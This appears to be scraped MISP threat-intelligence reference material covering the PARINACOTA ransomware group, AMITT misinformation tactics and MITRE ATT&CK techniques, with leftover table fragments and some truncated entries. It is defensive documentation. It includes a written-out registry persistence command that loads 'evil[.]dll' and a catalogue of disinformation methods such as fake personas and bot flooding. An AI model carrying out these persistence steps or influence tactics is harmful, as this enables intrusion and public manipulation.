One actor that has emerged in this trend of human-operated attacks is an active, highly adaptive group that frequently drops Wadhrama as payload. PARINACOTA impacts three to four organizations every week and appears quite resourceful: during the 18 months that we have been monitoring it, we have observed the group change tactics to match its needs and use compromised machines for various purposes, including cryptocurrency mining, sending spam emails, or proxying for other attacks. The group's goals and payloads have shifted over time, influenced by the type of compromised infrastructure, but in recent months, they have mostly deployed the Wadhrama ransomware. The group most often employs a smash-and-grab method, whereby they attempt to infiltrate a machine in a network and proceed with subsequent ransom in less than an hour. There are outlier campaigns in which they attempt reconnaissance and lateral movement, typically when they land on a machine and network that allows them to quickly and easily move throughout the environment. PARINACOTA's attacks typically brute forces their way into servers that have Remote Desktop Protocol (RDP) exposed to the internet, with the goal of moving laterally inside a network or performing further brute-force activities against targets outside the network. This allows the group to expand compromised infrastructure under their control. Frequently, the group targets built-in local administrator accounts or a list of common account names. In other instances, the group targets Active Directory (AD) accounts that they compromised or have prior knowledge of, such as service accounts of known vendors. The group adopted the RDP brute force technique that the older ransomware called Samas (also known as SamSam) infamously used. Other malware families like GandCrab, MegaCortex, LockerGoga, Hermes, and RobbinHood have also used this method in targeted ransomware attacks. PARINACOTA, however, has also been observed to adapt to any path of least resistance they can utilize. For instance, they sometimes discover unpatched systems and use disclosed vulnerabilities to gain initial access or elevate privileges.

The tag is:  

misp-galaxy:microsoft-activity-group="PARINACOTA"

PARINACOTA has relationships with:

• uses:  
misp-galaxy:ransomware="Wadhrama"  
with estimative-language:likelihood-probability="likely"
Misinformation Pattern

AM!TT Technique.

Misinformation Pattern is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors
misinfosecproject

5Ds (dismiss, distort, distract, dismay, divide)

Nimmo's "4Ds of propaganda": dismiss, distort, distract, dismay (MisinfosecWG added divide in 2019). Misinformation promotes an agenda by advancing narratives supportive of that agenda. This is most effective when the advanced narrative pre-dates the revelation of the specific misinformation content. But this is often not possible.

The tag is: misp-galaxy:amitt-misinformation-pattern="5Ds (dismiss, distort, distract, dismay, divide)"

Facilitate State Propaganda

Organize citizens around pro-state messaging. Paid or volunteer groups coordinated to push state propaganda (examples include 2016 Diba Facebook Expedition, coordinated to overcome China’s Great Firewall to flood the Facebook pages of Taiwanese politicians and news agencies with a pro-PRC message).

The tag is: misp-galaxy:amitt-misinformation-pattern="Facilitate State Propaganda"

Leverage Existing Narratives

Use or adapt existing narrative themes, where narratives are the baseline stories of a target audience. Narratives form the bedrock of our worldviews. New information is understood through a process firmly grounded in this bedrock. If new information is not consistent with the prevailing
narratives of an audience, it will be ignored. Effective campaigns will frame their misinformation in the context of these narratives. Highly effective campaigns will make extensive use of audience-appropriate archetypes and meta-narratives throughout their content creation and amplification practices. Examples include Midwesterners are generous, Russia is under attack from outside.

The tag is: misp-galaxy:amitt-misinformation-pattern="Leverage Existing Narratives"

</tr>
</tbody>
</table>

Competing Narratives

Advance competing narratives connected to same issue ie: on one hand deny incident while at same time expresses dismiss. MH17 (example) "Russian Foreign Ministry again claimed that “absolutely groundless accusations are put forward against the Russian side, which are aimed at discrediting Russia in the eyes of the international community” (deny); "The Dutch MH17 investigation is biased, anti-Russian and factually inaccurate" (dismiss).

Suppressing or discouraging narratives already spreading requires an alternative. The most simple set of narrative techniques in response would be the construction and promotion of contradictory alternatives centered on denial, deflection, dismissal, counter-charges, excessive standards of proof, bias in prohibition or enforcement, and so on.

These competing narratives allow loyalists cover, but are less compelling to opponents and fence-sitters than campaigns built around existing narratives or highly explanatory master narratives. Competing narratives, as such, are especially useful in the "firehose of misinformation" approach.

The tag is: misp-galaxy:amitt-misinformation-pattern="Competing Narratives"

</tr>
</tbody>
</table>
Create Master Narratives

The promotion of beneficial master narratives is perhaps the most effective method for achieving long-term strategic narrative dominance. From a “whole of society” perspective, the promotion of the society’s core master narratives should occupy a central strategic role. From a misinformation campaign / cognitive security perspective, the tactics around master narratives center more precisely on the day-to-day promotion and reinforcement of this messaging. In other words, beneficial, high-coverage master narratives are a central strategic goal and their promotion constitutes an ongoing tactical struggle carried out at a whole-of-society level.

By way of example, major powers are promoting master narratives such as: * "Huawei is determined to build trustworthy networks" * "Russia is the victim of bullying by NATO powers" * "USA is guided by its founding principles of liberty and egalitarianism"

Tactically, their promotion covers a broad spectrum of activities both on- and offline.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create Master Narratives"

Create fake Social Media Profiles / Pages / Groups

Create key social engineering assets needed to amplify content, manipulate algorithms, fool public and/or specific incident/campaign targets.

Computational propaganda depends substantially on false perceptions of credibility and acceptance. By creating fake users and groups with a variety of interests and commitments, attackers can ensure that their messages both come from trusted sources and appear more widely adopted than they actually are.

Examples: Ukraine elections (2019) circumvent Facebook’s new safeguards by paying Ukrainian citizens to give a Russian agent access to their personal pages. EU Elections (2019) Avaaz reported more than 500 suspicious pages and groups to Facebook related to the three-month investigation of Facebook disinformation networks in Europe. Mueller report (2016) The IRA was able to reach up to 126 million Americans on Facebook via a mixture of fraudulent accounts, groups, and advertisements, the report says. Twitter accounts it created were portrayed as real American voices by major news outlets. It was even able to hold real-life rallies, mobilizing hundreds of people at a time in major cities like Philadelphia and Miami.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake Social Media Profiles / Pages / Groups"

740
Create fake or imposter news sites

Modern computational propaganda makes use of a cadre of imposter news sites spreading globally. These sites, sometimes motivated by concerns other than propaganda—for instance, click-based revenue—often have some superficial markers of authenticity, such as naming and site-design. But many can be quickly exposed with reference to their ownership, reporting history and advertising details. A prominent case from the 2016 era was the *Denver Guardian*, which purported to be a local newspaper in Colorado and specialized in negative stories about Hillary Clinton.

The tag is: *misp-galaxy:amitt-misinformation-pattern=*"Create fake or imposter news sites"

<td></td>
</tr>
</tbody>
</table>

Create fake experts

Stories planted or promoted in computational propaganda operations often make use of experts fabricated from whole cloth, sometimes specifically for the story itself. For example, in the Jade Helm conspiracy theory promoted by SVR in 2015, a pair of experts—one of them naming himself a “Military Intelligence Analyst / Russian Regional CME” and the other a “Geopolitical Strategist, Journalist & Author”—pushed the story heavily on LinkedIn.

</table>

Cultivate useful idiots

Cultivate propagandists for a cause, the goals of which are not fully comprehended, and who are used cynically by the leaders of the cause. Independent actors use social media and specialised web sites to strategically reinforce and spread messages compatible with their own. Their networks are infiltrated and used by state media disinformation organisations to amplify the state's own disinformation strategies against target populations. Many are traffickers in conspiracy theories or hoaxes, unified by a suspicion of Western governments and mainstream media. Their narratives, which appeal to leftists hostile to globalism and military intervention and nationalists against immigration, are frequently infiltrated and shaped by state-controlled trolls and altered news items from agencies such as RT and Sputnik. Also know as “useful idiots” or "unwitting agents".

The tag is: *misp-galaxy:amitt-misinformation-pattern=*"Cultivate useful idiots"

Table 2082. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
Hijack legitimate account

Hack or take over legitimate accounts to distribute misinformation or damaging content. Examples include Syrian Electronic Army (2013) series of false tweets from a hijacked Associated Press Twitter account claiming that President Barack Obama had been injured in a series of explosions near the White House. The false report caused a temporary plunge of 143 points on the Dow Jones Industrial Average.

The tag is: misp-galaxy:amitt-misinformation-pattern="Hijack legitimate account"

Use concealment

Use anonymous social media profiles. Examples include page or group administrators, masked "whois" website directory data, no bylines connected to news article, no masthead connect to news websites.

Example is 2016 @TEN_GOP profile where the actual Tennessee Republican Party tried unsuccessfully for months to get Twitter to shut it down, and 2019 Endless Mayfly is an Iran-aligned network of inauthentic personas and social media accounts that spreads falsehoods and amplifies narratives critical of Saudi Arabia, the United States, and Israel.

The tag is: misp-galaxy:amitt-misinformation-pattern="Use concealment"

Create fake websites

The tag is: misp-galaxy:amitt-misinformation-pattern="Create fake websites"

Create funding campaigns

Generate revenue through online funding campaigns. e.g. Gather data, advance credible persona via GoFundMe; Patreon; or via fake website connecting via PayPal or Stripe. (Example 2016)
# VaccinateUS Gofundme campaigns to pay for Targetted facebook ads (Larry Cook, targetting Washington State mothers, $1,776 to boost posts over 9 months).

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create funding campaigns"*

**Create hashtag**

Many incident-based campaigns will create a hashtag to promote their fabricated event (e.g. #ColumbianChemicals to promote a fake story about a chemical spill in Louisiana).

Creating a hashtag for an incident can have two important effects: 1. Create a perception of reality around an event. Certainly only "real" events would be discussed in a hashtag. After all, the event has a name! 2. Publicize the story more widely through trending lists and search behavior

Asset needed to direct/control/manage "conversation" connected to launching new incident/campaign with new hashtag for applicable social media sites ie: Twitter, LinkedIn)

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create hashtag"*

**Clickbait**

Create attention grabbing headlines (outrage, doubt, humor) required to drive traffic & engagement. (example 2016) “Pope Francis shocks world, endorses Donald Trump for president.” (example 2016) "FBI director received millions from Clinton Foundation, his brother's law firm does Clinton’s taxes". This is a key asset

The tag is: *misp-galaxy:amitt-misinformation-pattern="Clickbait"*

**Promote online funding**

Drive traffic/engagement to funding campaign sites; helps provide measurable metrics to assess conversion rates

The tag is: *misp-galaxy:amitt-misinformation-pattern="Promote online funding"*
**Paid targeted ads**

Create or fund advertisements targeted at specific populations

The tag is: `misp-galaxy:amitt-misinformation-pattern="Paid targeted ads"`

**Generate information pollution**

Flood social channels; drive traffic/engagement to all assets; create aura/sense/perception of pervasiveness/consensus (for or against or both simultaneously) of an issue or topic. "Nothing is true, but everything is possible." Akin to astroturfing campaign.

The tag is: `misp-galaxy:amitt-misinformation-pattern="Generate information pollution"`

**Trial content**

Iteratively test incident performance (messages, content etc), e.g. A/B test headline/content engagement metrics; website and/or funding campaign conversion rates

The tag is: `misp-galaxy:amitt-misinformation-pattern="Trial content"`

**Memes**

Memes are one of the most important single artefact types in all of computational propaganda. Memes in this framework denotes the narrow image-based definition. But that naming is no accident, as these items have most of the important properties of Dawkins’ original conception as a self-replicating unit of culture. Memes pull together reference and commentary; image and narrative; emotion and message. Memes are a powerful tool and the heart of modern influence campaigns.
Conspiracy narratives

"Conspiracy narratives appeal to the human desire for explanatory order, by invoking the participation of powerful (often sinister) actors in pursuit of their own political goals. These narratives are especially appealing when an audience is low-information, marginalized or otherwise inclined to reject the prevailing explanation. Conspiracy narratives are an important component of the "firehose of falsehoods" model.

Example: QAnon: conspiracy theory is an explanation of an event or situation that invokes a conspiracy by sinister and powerful actors, often political in motivation, when other explanations are more probable "

Distort facts

Change, twist, or exaggerate existing facts to construct a narrative that differs from reality. Examples: images and ideas can be distorted by being placed in an improper content

Create fake videos and images

Create fake videos and/or images by manipulating existing content or generating new content (e.g. deepfakes). Examples include Pelosi video (making her appear drunk) and photoshoped shark on flooded streets of Houston TX.
Leak altered documents

Obtain documents (eg by theft or leak), then alter and release, possibly among factual documents/sources.

Example (2019) DFRLab report "Secondary Infektion" highlights incident with key asset being a forged “letter” created by the operation to provide ammunition for far-right forces in Europe ahead of the election.

The tag is: `misp-galaxy:amitt-misinformation-pattern="Leak altered documents"`

Create fake research

Create fake academic research. Example: fake social science research is often aimed at hot-button social issues such as gender, race and sexuality. Fake science research can target Climate Science debate or pseudoscience like anti-vaxx

The tag is: `misp-galaxy:amitt-misinformation-pattern="Create fake research"`

Adapt existing narratives

Adapting existing narratives to current operational goals is the tactical sweet-spot for an effective misinformation campaign. Leveraging existing narratives is not only more effective, it requires substantially less resourcing, as the promotion of new master narratives operates on a much larger scale, both time and scope. Fluid, dynamic & often interchangeable key master narratives can be ("The morally corrupt West") adapted to divisive (LGBT proganda) or to distort (individuals working as CIA operatives). For Western audiences, different but equally powerful framings are available, such as "USA has a fraught history in race relations, espically in criminal justice areas."

The tag is: `misp-galaxy:amitt-misinformation-pattern="Adapt existing narratives"`
Create competing narratives

"Misinformation promotes an agenda by advancing narratives supportive of that agenda. This is most effective when the advanced narrative pre-dates the revelation of the specific misinformation content. But this is often not possible.

Suppressing or discouraging narratives already spreading requires an alternative. The most simple set of narrative techniques in response would be the construction and promotion of contradictory alternatives centered on denial, deflection, dismissal, counter-charges, excessive standards of proof, bias in prohibition or enforcement, and so on.

These competing narratives allow loyalists cover, but are less compelling to opponents and fence-sitters than campaigns built around existing narratives or highly explanatory master narratives. Competing narratives, as such, are especially useful in the "firehose of misinformation" approach."

---

**Cow online opinion leaders**

Intimidate, coerce, threaten critics/dissidents/journalists via trolling, doxing. Phillipines (example) Maria Ressa and Rappler journalists targeted Duterte regime, lawsuits, trollings, banned from the presidential palace where press briefings take place. 2017 Bot attack on five ProPublica Journalists.

The tag is: **misp-galaxy:amitt-misinformation-pattern="Cow online opinion leaders"**

---

**Table 2120. Table References**
Flooding

Flooding and/or mobbing social media channels feeds and/or hashtag with excessive volume of content to control/shape online conversations and/or drown out opposing points of view. Bots and/or patriotic trolls are effective tools to achieve this effect.

Example (2018): bots flood social media promoting messages which support Saudi Arabia with intent to cast doubt on allegations that the kingdom was involved in Khashoggi’s death.

The tag is: *misp-galaxy:amitt-misinformation-pattern=*"Flooding"

Cheerleading domestic social media ops

Deploy state-coordinated social media commenters and astroturfers. Both internal/domestic and external social media influence operations, popularized by China (50cent Army manage message inside the "Great Firewall") but also technique used by Chinese English-language social media influence operations are seeded by state-run media, which overwhelmingly present a positive, benign, and cooperative image of China.

The tag is: *misp-galaxy:amitt-misinformation-pattern=*"Cheerleading domestic social media ops"

Fabricate social media comment

Use government-paid social media commenters, astroturfers, chat bots (programmed to reply to specific key words/hashtags) influence online conversations, product reviews, web-site comment forums. (2017 example) the FCC was inundated with nearly 22 million public comments on net neutrality (many from fake accounts)

The tag is: *misp-galaxy:amitt-misinformation-pattern=*"Fabricate social media comment"
Tertiary sites amplify news

Create content/news/opinion web-sites to cross-post stories. Tertiary sites circulate and amplify narratives. Often these sites have no masthead, bylines or attribution.

Examples of tertiary sites include Russia Insider, The Duran, geopolitica.ru, Mint Press News, Oriental Review, globalresearch.ca.

Example (2019, Domestic news): Snopes reveals Star News Digital Media, Inc. may look like a media company that produces local news, but operates via undisclosed connections to political activism.

Example (2018) FireEye reports on Iranian campaign that created between April 2018 and March 2019 sites used to spread inauthentic content from websites such as Liberty Front Press (LFP), US Journal, and Real Progressive Front during the US mid-terms.

The tag is: misp-galaxy:amitt-misinformation-pattern="Tertiary sites amplify news"

Twitter bots amplify

Use bots to amplify narratives above algorithm thresholds. Bots are automated/programmed profiles designed to amplify content (ie: automatically retweet or like) and give appearance it's more "popular" than it is. They can operate as a network, to function in a coordinated/orchestrated manner. In some cases (more so now) they are an inexpensive/disposable assets used for minimal deployment as bot detection tools improve and platforms are more responsive.(example 2019) #TrudeauMustGo

The tag is: misp-galaxy:amitt-misinformation-pattern="Twitter bots amplify"
### Use hashtag

Use the dedicated hashtag for the incident (e.g. #PhosphorusDisaster)

The tag is: `misp-galaxy:amitt-misinformation-pattern="Use hashtag"`

### Dedicated channels disseminate information pollution

Output information pollution (e.g. articles on an unreported false story/event) through channels controlled by or related to the incident creator. Examples include RT/Sputnik or antivax websites seeding stories.

The tag is: `misp-galaxy:amitt-misinformation-pattern="Dedicated channels disseminate information pollution"`

### Organise remote rallies and events

Coordinate and promote real-world events across media platforms, e.g. rallies, protests, gatherings in support of incident narratives. Example: Facebook groups/pages coordinate/more divisive/polarizing groups and activities into the public space. (Example) Mueller’s report, highlights, the IRA organized political rallies in the U.S. using social media starting in 2015 and continued to coordinate rallies after the 2016 election

The tag is: `misp-galaxy:amitt-misinformation-pattern="Organise remote rallies and events"`

### Legacy web content

Make incident content visible for a long time, e.g. by exploiting platform terms of service, or placing it where it’s hard to remove or unlikely to be removed.
Play the long game

MITRE
Test ability to evade automated mobile application security analysis performed by app stores - T1393

Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices. (Citation: Android Bouncer) (Citation: Adventures in BouncerLand) (Citation: Jekyll on iOS) (Citation: Fruit vs Zombies)

Deliver Malicious App via Authorized App Store - T1475

Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. Mobile devices often are configured to allow application installation only from an authorized app store (e.g., Google Play Store or Apple App Store). An adversary may seek to place a malicious application in an authorized app store, enabling the application to be installed onto targeted devices.

App stores typically require developer registration and use vetting techniques to identify malicious applications. Adversaries may use these techniques against app store defenses:

• [Download New Code at Runtime](https://attack.mitre.org/techniques/T1407)
Adversaries may also seek to evade vetting by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis. (Citation: Petsas) (Citation: Oberheide-Bouncer) (Citation: Percoco-Bouncer) (Citation: Wang)

Adversaries may also use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. (Citation: Oberheide-Bouncer)

Adversaries may also use control of a target’s Google account to use the Google Play Store’s remote installation capability to install apps onto the Android devices associated with the Google account. (Citation: Oberheide-RemoteInstall) (Citation: Konoth) (Only applications that are available for download through the Google Play Store can be remotely installed using this technique.)

Identify vulnerabilities in third-party software libraries - T1389

Many applications use third-party software libraries, often without full knowledge of the behavior of the libraries by the application developer. For example, mobile applications often incorporate advertising libraries to generate revenue for the application developer. Vulnerabilities in these third-party libraries could potentially be exploited in any application that uses the library, and even if the vulnerabilities are fixed, many applications may still use older, vulnerable versions of the library. (Citation: Flexera News Vulnerabilities) (Citation: Android Security Review 2015) (Citation: Android Multidex RCE)

The tag is: misp-galaxy:mitre-attack-pattern="Identify vulnerabilities in third-party software libraries - T1389"

Registry Run Keys / Startup Folder - T1060

Adding an entry to the "run keys" in the Registry or startup folder will cause the program
referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account’s associated permissions level.

The following run keys are created by default on Windows systems: *
[code]HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run[/code] *
[code]HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce[/code] *
[code]HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run[/code] *
[code]HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce[/code]

The [code]HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx[/code] is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx:
[code]reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"[/code] (Citation: Oddvar Moe RunOnceEx Mar 2018)

The following Registry keys can be used to set startup folder items for persistence: *
[code]HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders[/code] *
[code]HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders[/code] *
[code]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders[/code] *
[code]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders[/code]

The following Registry keys can control automatic startup of services during boot: *
[code]HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce[/code] *
[code]HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce[/code] *
[code]HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices[/code] *
[code]HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices[/code]

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys: *
[code]HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run[/code] *
[code]HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run[/code]

The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The [code]HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit[/code] and [code]HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell[/code] subkeys can automatically launch programs.
Programs listed in the load value of the registry key
<code>HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows</code>
run when any user logs on.

By default, the multistring BootExecute value of the registry key
<code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> is set to
autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the
hard disks if the system has been shut down abnormally. Adversaries can add other programs or
processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools,
to maintain persistence through system reboots. Adversaries may also use
[Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if
they are associated with legitimate programs.

Component Object Model and Distributed COM - T1175

Adversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement.

COM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. (Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). (Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology. (Citation: Fireeye Hunting COM June 2019)

Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL) By default, only Administrators may remotely activate and launch COM objects through DCOM.

Adversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript. (Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled
Task](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)

Adversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.

Spear phishing messages with malicious attachments - T1367

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Emails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)

The tag is: `misp-galaxy:mitre-attack-pattern="Spear phishing messages with malicious attachments - T1367"`
Authorized user performs requested cyber action - T1386

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Clicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)

The tag is: misp-galaxy:mitre-attack-pattern="Authorized user performs requested cyber action - T1386"

Spear phishing messages with text only - T1368

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Emails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)

The tag is: misp-galaxy:mitre-attack-pattern="Spear phishing messages with text only - T1368"

Spear phishing messages with malicious links - T1369

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Emails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)

The tag is: misp-galaxy:mitre-attack-pattern="Spear phishing messages with malicious links - T1369"
Unauthorized user introduces compromise delivery mechanism - T1387

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

If an adversary can gain physical access to the target’s environment they can introduce a variety of devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card Skimmers)

The tag is: misp-galaxy:mitre-attack-pattern="Unauthorized user introduces compromise delivery mechanism - T1387"

Modify OS Kernel or Boot Partition - T1398

If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device kernel or other boot partition components, where the code may evade detection, may persist after device resets, and may not be removable by the device user. In some cases (e.g., the Samsung Knox warranty bit as described under Detection), the attack may be detected but could result in the device being placed in a state that no longer allows certain functionality.

Many Android devices provide the ability to unlock the bootloader for development purposes, but doing so introduces the potential ability for others to maliciously update the kernel or other boot partition code.

If the bootloader is not unlocked, it may still be possible to exploit device vulnerabilities to update the code.

The tag is: misp-galaxy:mitre-attack-pattern="Modify OS Kernel or Boot Partition - T1398"
Exploit via Charging Station or PC - T1458

If the mobile device is connected (typically via USB) to a charging station or a PC, for example to charge the device's battery, then a compromised or malicious charging station or PC could attempt to exploit the mobile device via the connection(Citation: Krebs-JuiceJacking).

Previous demonstrations have included:

- Injecting malicious applications into iOS devices(Citation: Lau-Mactans).
- Exploiting a Nexus 6 or 6P device over USB and gaining the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location(Citation: IBM-NexusUSB).
- Exploiting Android devices such as the Google Pixel 2 over USB(Citation: GoogleProjectZero-OATmeal).

Products from Cellebrite and Grayshift purportedly can use physical access to the data port to unlock the passcode on some iOS devices(Citation: Computerworld-iPhoneCracking).

The tag is: misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458"

</table>

Deliver Malicious App via Other Means - T1476

Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working.
Delivery methods for the malicious application include:

- [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) - Including the mobile app package as an attachment to an email message.
- [Spearphishing Link](https://attack.mitre.org/techniques/T1192) - Including a link to the mobile app package within an email, text message (e.g. SMS, iMessage, Hangouts, WhatsApp, etc.), website, QR code, or other means.
- Third-Party App Store - Installed from a third-party app store (as opposed to an authorized app store that the device implicitly trusts as part of its default behavior), which may not apply the same level of scrutiny to apps as applied by an authorized app store. (Citation: IBTimes-ThirdParty) (Citation: TrendMicro-RootingMalware) (Citation: TrendMicro-FlappyBird)

Some Android malware comes with functionality to install additional applications, either automatically or when the adversary instructs it to. (Citation: android-trojan-steals-paypal-2fa)

Identify personnel with an authority/privilege - T1271

Personnel internally to a company may have non-electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is an individual with financial authority to authorize large transactions. An adversary who compromises this individual might be able to subvert large dollar transfers. (Citation: RSA-APTRecon)

The tag is: `misp-galaxy:mitre-attack-pattern="Identify personnel with an authority/privilege - T1271"`

Receive KITs/KIQs and determine requirements - T1239

Applicable agencies and/or personnel receive intelligence requirements and evaluate them to determine sub-requirements related to topics, questions, or requirements. For example, an adversary's nuclear energy requirements may be further divided into nuclear facilities versus nuclear warhead capabilities. (Citation: AnalystsAndPolicymaking)

The tag is: `misp-galaxy:mitre-attack-pattern="Receive KITs/KIQs and determine requirements - T1239"`

Identify job postings and needs/gaps - T1248

Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on technologies within the organization which could be valuable in attack or provide insight into possible security weaknesses or limitations in detection or protection mechanisms. (Citation: JobPostingThreat)

Table 2205. Table References
Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.

The tag is: *misp-galaxy:mitre-attack-pattern=*"Exfiltration Over Other Network Medium - T1011"

### Network Traffic Capture or Redirection - T1410

An adversary may capture network traffic to and from the device to obtain credentials or other sensitive data, or redirect network traffic to flow through an adversary-controlled gateway to do the same.

A malicious app could register itself as a VPN client on Android or iOS to gain access to network packets. However, on both platforms, the user must grant consent to the app to act as a VPN client, and on iOS the app requires a special entitlement that must be granted by Apple.

Alternatively, if a malicious app is able to escalate operating system privileges, it may be able to use those privileges to gain access to network traffic.

An adversary could redirect network traffic to an adversary-controlled gateway by establishing a VPN connection or by manipulating the device’s proxy settings. For example, Skycure (Citation: Skycure-Profiles) describes the ability to redirect network traffic by installing a malicious iOS Configuration Profile.

If applications encrypt their network traffic, sensitive data may not be accessible to an adversary, depending on the point of capture.

The tag is: *misp-galaxy:mitre-attack-pattern=*"Network Traffic Capture or Redirection - T1410"

### Determine 3rd party infrastructure services - T1260

Infrastructure services includes the hardware, software, and network resources required to operate a communications environment. This infrastructure can be managed by a 3rd party rather
than being managed by the owning organization. (Citation: FFIECAwareness) (Citation: Zetter2015Threats)

**Data from Cloud Storage Object - T1530**

Adversaries may access data objects from improperly secured cloud storage.

Many cloud service providers offer solutions for online data storage such as Amazon S3, Azure Storage, and Google Cloud Storage. These solutions differ from other storage solutions (such as SQL or Elasticsearch) in that there is no overarching application. Data from these solutions can be retrieved directly using the cloud provider's APIs. Solution providers typically offer security guides to help end users configure systems.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019)

